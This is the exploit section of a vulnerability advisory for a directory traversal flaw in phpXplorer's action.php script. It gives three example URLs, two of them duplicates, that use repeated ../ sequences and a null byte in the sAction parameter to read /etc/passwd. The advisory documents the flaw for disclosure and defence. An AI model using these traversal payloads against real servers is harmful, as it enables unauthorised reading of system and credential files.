• info
• discussion
• exploit
• solution
• references

phpXplorer Action.PHP Directory Traversal Vulnerability

No exploit is required.

Example URI have been provided:

http://www.example.com/folder/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00

http://www.example.com/phpXplorer/system/action.php?sShare=guest&sAction=
../../../../../../../../../../../../etc/passwd%00